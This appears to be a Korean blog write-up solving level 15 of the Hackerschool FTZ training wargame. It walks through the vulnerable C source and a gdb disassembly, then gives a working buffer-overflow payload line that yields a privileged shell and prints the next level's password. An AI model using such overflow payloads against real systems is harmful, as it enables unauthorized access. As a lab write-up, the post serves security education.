일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 웹해킹
- ftz
- Hackerschool
- requests
- RITSEC CTF 2019
- BOF
- x64dbg
- HackCTF
- buffer over flow
- CodeEngn
- 리눅스
- 뉴스클리핑
- 어셈블리어
- Linux
- Next.js
- Shadow 동아리
- 버퍼오버플로우
- 보안뉴스
- webhacking
- Python
- NewsClipping
- 리버싱
- SQL Injection
- reversing
- termux
- PWN
- Nop Slide
- writeup
- ctf
- RITSEC
Archives
- Today
- Total
Jaeseo's Information Security Story
FTZ - level15 - WriteUp 본문
FTZ - level15 - WriteUp
level15:guess what
일단 hint파일을 봅니다.
[level15@ftz level15]$ cat hint
#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
[level15@ftz level15]$
level14의 문제와 거의 유사하지만 이번에는 check가 포인터로 해서 참조를 하는 모습을 볼 수 있습니다.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d
0x080484a1 <main+17>: lea eax,[ebp-56] //입력값 받는 위치
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: mov eax,DWORD PTR [ebp-16] //비교하는 check의 위치
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef //0xdeadbeef가 하드코딩이 되어 있으므로 이 주소를 이용하여 공격이 가능
0x080484b6 <main+38>: jne 0x80484dd <main+77>
0x080484b8 <main+40>: sub esp,0x8
0x080484bb <main+43>: push 0xc18
0x080484c0 <main+48>: push 0xc18
0x080484c5 <main+53>: call 0x8048380 <setreuid>
0x080484ca <main+58>: add esp,0x10
0x080484cd <main+61>: sub esp,0xc
0x080484d0 <main+64>: push 0x8048548
0x080484d5 <main+69>: call 0x8048340 <system>
0x080484da <main+74>: add esp,0x10
0x080484dd <main+77>: leave
0x080484de <main+78>: ret
0x080484df <main+79>: nop
End of assembler dump.
(gdb)
위의 어셈블리를 보면 중간에 cmp하면서 0xdeadbeef와 직접 비교를 하는데 직접 적혀 있으므로 0xdeadbeef가 적혀 있는 주소를 알아내 넣어주면 exploit이 될 것 으로 예상이 된다.
(gdb) x/10x main+32
0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18
0x80484c0 <main+48>: 0x000c1868 0xfeb6e800 0xc483ffff 0x0cec8310
0x80484d0 <main+64>: 0x04854868 0xfe66e808
main+32의 메모리 주소를 탐색한 결과 0xdeadbeef가 들어 있는 모습을 볼 수 있다. 이 주소(0x08048b2)를 이용해서 공격을 한다.
[level15@ftz level15]$ (python -c 'print "\x90"*40+"\xb2\x84\x04\x08"';cat) | ./attackme
whoami
level16
my-pass
Level16 Password is "about to cause mass".
level16:about to cause mass
'Write UP > FTZ' 카테고리의 다른 글
FTZ - level17 - WriteUp (0) | 2019.11.26 |
---|---|
FTZ - level16 - WriteUp (0) | 2019.11.26 |
FTZ - level14 - WriteUp (0) | 2019.11.25 |
FTZ - level13 - WriteUp (2) | 2019.11.19 |
FTZ - level12 - WriteUp (0) | 2019.11.18 |
Comments